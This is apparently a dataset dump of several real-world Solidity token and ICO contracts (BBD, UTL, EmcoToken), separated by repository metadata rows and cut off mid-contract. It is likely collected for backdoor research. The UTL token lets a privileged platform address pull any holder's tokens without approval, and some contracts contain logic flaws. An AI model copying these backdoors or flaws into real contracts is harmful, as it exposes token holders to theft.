// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract BBDToken is StandardToken, Ownable {
// Metadata
string public constant name = "BlockChain Board Of Derivatives Token";
string public constant symbol = "BBD";
uint256 public constant decimals = 18;
string private constant version = '1.0.0';
// Crowdsale parameters
uint256 public constant startTime = 1506844800; //Sunday, 1 October 2017 08:00:00 GMT
uint256 public constant endTime = 1509523200; // Wednesday, 1 November 2017 08:00:00 GMT
uint256 public constant creationMaxCap = 300000000 * 10 ** decimals;
uint256 public constant creationMinCap = 2500000 * 10 ** decimals;
uint256 private constant startCreationRateOnTime = 1666; // 1666 BDD per 1 ETH
uint256 private constant endCreationRateOnTime = 1000; // 1000 BDD per 1 ETH
uint256 private constant quantityThreshold_10 = 10 ether;
uint256 private constant quantityThreshold_30 = 30 ether;
uint256 private constant quantityThreshold_100 = 100 ether;
uint256 private constant quantityThreshold_300 = 300 ether;
uint256 private constant quantityBonus_10 = 500; // 5%
uint256 private constant quantityBonus_30 = 1000; // 10%
uint256 private constant quantityBonus_100 = 1500; // 15%
uint256 private constant quantityBonus_300 = 2000; // 20%
// The flag indicates if the crowdsale was finalized
bool public finalized = false;
// Migration information
address public migrationAgent;
uint256 public totalMigrated;
// Exchange address
address public exchangeAddress;
// Team accounts
address private constant mainAccount = 0xEB1D40f6DA0E77E2cA046325F6F2a76081B4c7f4;
address private constant coreTeamMemberOne = 0xe43088E823eA7422D77E32a195267aE9779A8B07;
address private constant coreTeamMemberTwo = 0xad00884d1E7D0354d16fa8Ab083208c2cC3Ed515;
// Ether raised
uint256 private raised = 0;
// Since we have different exchange rates, we need to keep track of how
// much ether each contributed in case that we need to issue a refund
mapping (address => uint256) private ethBalances;
uint256 private constant divisor = 10000;
// Events
event LogRefund(address indexed _from, uint256 _value);
event LogMigrate(address indexed _from, address indexed _to, uint256 _value);
event LogBuy(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount);
// Check if min cap was archived.
modifier onlyWhenICOReachedCreationMinCap() {
require(totalSupply >= creationMinCap);
_;
}
function() payable {
buy(msg.sender);
}
function creationRateOnTime() public constant returns (uint256) {
uint256 currentPrice;
if (now > endTime) {
currentPrice = endCreationRateOnTime;
}
else {
//Price is changing lineral starting from startCreationRateOnTime to endCreationRateOnTime
uint256 rateRange = startCreationRateOnTime - endCreationRateOnTime;
uint256 timeRange = endTime - startTime;
currentPrice = startCreationRateOnTime.sub(rateRange.mul(now.sub(startTime)).div(timeRange));
}
return currentPrice;
}
//Calculate number of BBD tokens for provided ether
function calculateBDD(uint256 _ethVal) private constant returns (uint256) {
uint256 bonus;
//We provide bonus depending on eth value
if (_ethVal < quantityThreshold_10) {
bonus = 0; // 0% bonus
}
else if (_ethVal < quantityThreshold_30) {
bonus = quantityBonus_10; // 5% bonus
}
else if (_ethVal < quantityThreshold_100) {
bonus = quantityBonus_30; // 10% bonus
}
else if (_ethVal < quantityThreshold_300) {
bonus = quantityBonus_100; // 15% bonus
}
else {
bonus = quantityBonus_300; // 20% bonus
}
// Get number of BBD tokens
return _ethVal.mul(creationRateOnTime()).mul(divisor.add(bonus)).div(divisor);
}
// Buy BBD
function buy(address _beneficiary) payable {
require(!finalized);
require(msg.value != 0);
require(now <= endTime);
require(now >= startTime);
uint256 bbdTokens = calculateBDD(msg.value);
uint256 additionalBBDTokensForMainAccount = bbdTokens.mul(2250).div(divisor); // 22.5%
uint256 additionalBBDTokensForCoreTeamMember = bbdTokens.mul(125).div(divisor); // 1.25%
//Increase by 25% number of bbd tokens on each buy.
uint256 checkedSupply = totalSupply.add(bbdTokens)
.add(additionalBBDTokensForMainAccount)
.add(2 * additionalBBDTokensForCoreTeamMember);
require(creationMaxCap >= checkedSupply);
totalSupply = checkedSupply;
//Update balances
balances[_beneficiary] = balances[_beneficiary].add(bbdTokens);
balances[mainAccount] = balances[mainAccount].add(additionalBBDTokensForMainAccount);
balances[coreTeamMemberOne] = balances[coreTeamMemberOne].add(additionalBBDTokensForCoreTeamMember);
balances[coreTeamMemberTwo] = balances[coreTeamMemberTwo].add(additionalBBDTokensForCoreTeamMember);
ethBalances[_beneficiary] = ethBalances[_beneficiary].add(msg.value);
raised += msg.value;
if (exchangeAddress != 0x0 && totalSupply >= creationMinCap && msg.value >= 1 ether) {
// After archiving min cap we start moving 10% to exchange. It will help with liquidity on exchange.
exchangeAddress.transfer(msg.value.mul(1000).div(divisor)); // 10%
}
LogBuy(msg.sender, _beneficiary, msg.value, bbdTokens);
}
// Finalize for successful ICO
function finalize() onlyOwner external {
require(!finalized);
require(now >= endTime || totalSupply >= creationMaxCap);
finalized = true;
uint256 ethForCoreMember = raised.mul(500).div(divisor);
coreTeamMemberOne.transfer(ethForCoreMember); // 5%
coreTeamMemberTwo.transfer(ethForCoreMember); // 5%
mainAccount.transfer(this.balance); //90%
}
// Refund if ICO won't reach min cap
function refund() external {
require(now > endTime);
require(totalSupply < creationMinCap);
uint256 bddVal = balances[msg.sender];
require(bddVal > 0);
uint256 ethVal = ethBalances[msg.sender];
require(ethVal > 0);
balances[msg.sender] = 0;
ethBalances[msg.sender] = 0;
totalSupply = totalSupply.sub(bddVal);
msg.sender.transfer(ethVal);
LogRefund(msg.sender, ethVal);
}
// Allow to migrate to next version of contract
function migrate(uint256 _value) external {
require(finalized);
require(migrationAgent != 0x0);
require(_value > 0);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
totalMigrated = totalMigrated.add(_value);
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
LogMigrate(msg.sender, migrationAgent, _value);
}
// Set migration Agent
function setMigrationAgent(address _agent) onlyOwner external {
require(finalized);
require(migrationAgent == 0x0);
migrationAgent = _agent;
}
// Set exchange address
function setExchangeAddress(address _exchangeAddress) onlyOwner external {
require(exchangeAddress == 0x0);
exchangeAddress = _exchangeAddress;
}
function transfer(address _to, uint _value) onlyWhenICOReachedCreationMinCap returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) onlyWhenICOReachedCreationMinCap returns (bool) {
return super.transferFrom(_from, _to, _value);
}
// Transfer BBD to exchange.
function transferToExchange(address _from, uint256 _value) onlyWhenICOReachedCreationMinCap returns (bool) {
require(msg.sender == exchangeAddress);
balances[exchangeAddress] = balances[exchangeAddress].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, exchangeAddress, _value);
return true;
}
// ICO overview
function icoOverview() constant returns (uint256 currentlyRaised, uint256 currentlyTotalSupply, uint256 currentlyCreationRateOnTime){
currentlyRaised = raised;
currentlyTotalSupply = totalSupply;
currentlyCreationRateOnTime = creationRateOnTime();
}
}
| 145,185 | 14,035 |
9579b1da073b460abd2bd184b6e3bbefd79e03583fae076828039d2ccdac9152
| 26,815 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x9B0A052f72C64Ac3E20BE711248c994a06aFbEda/contract.sol
| 3,499 | 13,685 |
pragma solidity 0.5.16;
interface UTL {
function transferTo(address to, uint256 amount) external returns (bool);
function withdrawToken(address to, uint256 amount) external returns (bool);
function depositToken(address from, uint256 amount) external returns (bool);
function setPreSaleAddress(address preSaleAddress) external returns (bool);
function setPlatformAddress(address platformAddress) external returns (bool);
event DepositEvent(address indexed from, uint256 value);
event WithdrawEvent(address indexed to, uint256 value);
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable, UTL {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
address private _platformAddress;
address private _preSaleAddress;
bool private _allowTransfer;
constructor() public {
_name = "Utile";
_symbol = "UTL";
_decimals = 18;
_totalSupply = 200000000000000000000000000;
_balances[msg.sender] = _totalSupply;
_allowTransfer = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function platformAddress() public view returns (address) {
return _platformAddress;
}
function preSaleAddress() public view returns (address) {
return _preSaleAddress;
}
modifier isPlatform() {
require(_platformAddress == _msgSender(), "Ownable: caller is not a platform account");
_;
}
function withdrawToken(address to, uint256 amount) external isPlatform returns (bool) {
_withdrawToken(to, amount);
return true;
}
function _withdrawToken(address to, uint256 amount) internal {
require(to != address(0), "BEP20: transfer to the zero address");
_balances[_msgSender()] = _balances[_msgSender()].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit WithdrawEvent(to, amount);
}
function depositToken(address from, uint256 amount) external isPlatform returns (bool) {
_depositToken(from, amount);
return true;
}
function _depositToken(address from, uint256 amount) internal {
require(from != address(0), "BEP20: transfer to the zero address");
_balances[from] = _balances[from].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit DepositEvent(from, amount);
}
function setPreSaleAddress(address account) external onlyOwner returns (bool) {
_setPreSaleAddress(account);
return true;
}
function _setPreSaleAddress(address account) internal {
_preSaleAddress = account;
}
function setPlatformAddress(address account) external onlyOwner returns (bool) {
_setPlatformAddress(account);
return true;
}
function _setPlatformAddress(address account) internal {
_platformAddress = account;
}
modifier isSafeAddress() {
require(owner() == _msgSender() || _preSaleAddress == _msgSender() || _platformAddress == _msgSender(), "Ownable: caller is not a safe account");
_;
}
function transferTo(address to, uint256 amount) external isSafeAddress returns (bool) {
_transferTo(to, amount);
return true;
}
function _transferTo(address account, uint256 amount) internal {
require(account != address(0), "BEP20: transfer to the zero address");
_balances[owner()] = _balances[owner()].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[account] = _balances[account].add(amount);
emit Transfer(_msgSender(), account, amount);
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
contract PreSale is Context, Ownable {
using SafeMath for uint256;
BEP20Token public Token;
uint256 public maxMintable;
uint256 public softCap;
uint256 public totalMinted;
uint256 public exchangeRate;
bool public funding;
bool public isClosed;
bool private configSet;
mapping (address => uint256) private _balances;
constructor() public {
maxMintable = 50000000000000000000000000;
funding = false;
exchangeRate = 8500;
softCap = 2666666;
isClosed = false;
}
modifier isNotConfig() {
require(!configSet, "Config: configuration is setted");
_;
}
modifier isConfig() {
require(configSet, "Config: configuration is not setted");
_;
}
modifier isFunding() {
require(funding, "Funding: funding is not setted");
_;
}
modifier isClose() {
require(false == isClosed);
_;
}
function setup(address tokenAddress) external isNotConfig onlyOwner returns (bool) {
Token = BEP20Token(tokenAddress);
funding = true;
configSet = true;
return true;
}
function closeSale() external onlyOwner returns (bool) {
isClosed = true;
funding = false;
return true;
}
function () external isFunding payable {
uint256 amount = msg.value * exchangeRate;
uint256 total = totalMinted + amount;
require(total<=maxMintable);
totalMinted += amount;
_balances[msg.sender] = _balances[msg.sender].add(amount);
Token.transferTo(msg.sender, amount);
}
function contribute() external isFunding payable {
uint256 amount = msg.value * exchangeRate;
uint256 total = totalMinted + amount;
require(total<=maxMintable);
totalMinted += amount;
_balances[msg.sender] = _balances[msg.sender].add(amount);
Token.transferTo(msg.sender, amount);
}
function updateRate(uint256 rate) external isFunding onlyOwner returns (bool) {
exchangeRate = rate;
return true;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
}
| 253,483 | 14,036 |
654af06ba45f45a7d9c00c3fc41ea1ef195d7d8bf29a316def18efeee272c1a8
| 17,550 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xd97e471695f73d8186deabc1ab5b8765e667cd96.sol
| 3,364 | 11,036 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EmcoToken is StandardToken, Ownable {
string public constant name = "EmcoToken";
string public constant symbol = "EMCO";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1500000 * (10 ** uint(decimals));
uint public constant MAX_SUPPLY = 36000000 * (10 ** uint(decimals));
mapping (address => uint) public miningBalances;
mapping (address => uint) public lastMiningBalanceUpdateTime;
address systemAddress;
uint public constant DAY_MINING_DEPOSIT_LIMIT = 360000 * (10 ** uint(decimals));
uint public constant TOTAL_MINING_DEPOSIT_LIMIT = 3600000 * (10 ** uint(decimals));
uint currentDay;
uint currentDayDeposited;
uint public miningTotalDeposited;
mapping(address => bytes32) public userReferralCodes;
mapping(bytes32 => address) public referralCodeOwners;
mapping(address => address) public referrals;
event Mine(address indexed beneficiary, uint value);
event MiningBalanceUpdated(address indexed owner, uint amount, bool isDeposit);
constructor() public {
balances[msg.sender] = INITIAL_SUPPLY;
systemAddress = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function setReferralCode(bytes32 _code) public returns (bytes32) {
require(_code != "", "Ref code should not be empty");
require(referralCodeOwners[_code] == address(0), "This referral code is already used");
require(userReferralCodes[msg.sender] == "", "Referal code is already set");
userReferralCodes[msg.sender] = _code;
referralCodeOwners[_code] = msg.sender;
return userReferralCodes[msg.sender];
}
function setReferral(bytes32 _code) public {
require(referralCodeOwners[_code] != address(0), "Invalid referral code");
require(referrals[msg.sender] == address(0), "You already have a referrer");
address referrer = referralCodeOwners[_code];
require(referrer != msg.sender, "Can not invite yourself");
referrals[msg.sender] = referrer;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner].add(miningBalances[_owner]);
}
function miningBalanceOf(address _owner) public view returns (uint balance) {
return miningBalances[_owner];
}
function depositToMiningBalance(uint _amount) public {
require(balances[msg.sender] >= _amount, "not enough tokens");
require(getCurrentDayDeposited().add(_amount) <= DAY_MINING_DEPOSIT_LIMIT,
"Day mining deposit exceeded");
require(miningTotalDeposited.add(_amount) <= TOTAL_MINING_DEPOSIT_LIMIT,
"Total mining deposit exceeded");
balances[msg.sender] = balances[msg.sender].sub(_amount);
miningBalances[msg.sender] = miningBalances[msg.sender].add(_amount);
miningTotalDeposited = miningTotalDeposited.add(_amount);
updateCurrentDayDeposited(_amount);
lastMiningBalanceUpdateTime[msg.sender] = now;
emit MiningBalanceUpdated(msg.sender, _amount, true);
}
function withdrawFromMiningBalance(uint _amount) public {
require(miningBalances[msg.sender] >= _amount, "not enough tokens on mining balance");
miningBalances[msg.sender] = miningBalances[msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
//updating mining limits
miningTotalDeposited.sub(_amount);
lastMiningBalanceUpdateTime[msg.sender] = now;
emit MiningBalanceUpdated(msg.sender, _amount, false);
}
function mine() public {
require(totalSupply_ < MAX_SUPPLY, "mining is over");
uint reward = getReward(totalSupply_);
uint daysForReward = getDaysForReward();
uint mintedAmount = miningBalances[msg.sender].mul(reward.sub(1000000000))
.mul(daysForReward).div(100000000000);
require(mintedAmount != 0, "mining will not produce any reward");
uint amountToBurn = miningBalances[msg.sender].mul(daysForReward).div(100);
//check exceeding max number of tokens
if(totalSupply_.add(mintedAmount) > MAX_SUPPLY) {
uint availableToMint = MAX_SUPPLY.sub(totalSupply_);
amountToBurn = availableToMint.div(mintedAmount).mul(amountToBurn);
mintedAmount = availableToMint;
}
totalSupply_ = totalSupply_.add(mintedAmount);
miningBalances[msg.sender] = miningBalances[msg.sender].sub(amountToBurn);
balances[msg.sender] = balances[msg.sender].add(amountToBurn);
uint userReward;
uint referrerReward = 0;
address referrer = referrals[msg.sender];
if(referrer == address(0)) {
userReward = mintedAmount.mul(85).div(100);
} else {
userReward = mintedAmount.mul(86).div(100);
referrerReward = mintedAmount.div(100);
balances[referrer] = balances[referrer].add(referrerReward);
emit Mine(referrer, referrerReward);
emit Transfer(address(0), referrer, referrerReward);
}
balances[msg.sender] = balances[msg.sender].add(userReward);
emit Mine(msg.sender, userReward);
emit Transfer(address(0), msg.sender, userReward);
//update limits
miningTotalDeposited = miningTotalDeposited.sub(amountToBurn);
emit MiningBalanceUpdated(msg.sender, amountToBurn, false);
//set system fee
uint systemFee = mintedAmount.sub(userReward).sub(referrerReward);
balances[systemAddress] = balances[systemAddress].add(systemFee);
emit Mine(systemAddress, systemFee);
emit Transfer(address(0), systemAddress, systemFee);
lastMiningBalanceUpdateTime[msg.sender] = now;
}
function setSystemAddress(address _systemAddress) public onlyOwner {
systemAddress = _systemAddress;
}
function getCurrentDayDeposited() public view returns (uint) {
if(now / 1 days == currentDay) {
return currentDayDeposited;
} else {
return 0;
}
}
function getDaysForReward() public view returns (uint rewardDaysNum){
if(lastMiningBalanceUpdateTime[msg.sender] == 0) {
return 0;
} else {
uint value = (now - lastMiningBalanceUpdateTime[msg.sender]) / (1 days);
if(value > 100) {
return 100;
} else {
return value;
}
}
}
function getReward(uint _totalSupply) public pure returns (uint rewardPercent){
uint rewardFactor = 1000000 * (10 ** uint256(decimals));
uint decreaseFactor = 41666666;
if(_totalSupply < 23 * rewardFactor) {
return 2000000000 - (decreaseFactor.mul(_totalSupply.div(rewardFactor)));
}
if(_totalSupply < MAX_SUPPLY) {
return 1041666666;
} else {
return 1000000000;
}
}
function updateCurrentDayDeposited(uint _addedTokens) private {
if(now / 1 days == currentDay) {
currentDayDeposited = currentDayDeposited.add(_addedTokens);
} else {
currentDay = now / 1 days;
currentDayDeposited = _addedTokens;
}
}
}
| 146,148 | 14,037 |
9fa324b8a07e7fea1997006ab0727abb784fb429a4df278bfeab11095ca4f3a3
| 22,047 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/aa/aa4f25e2f7efcdca59eaac8ad0a1f70d96890925_Minter.sol
| 4,775 | 16,958 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function mint(address account_, uint256 amount_) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
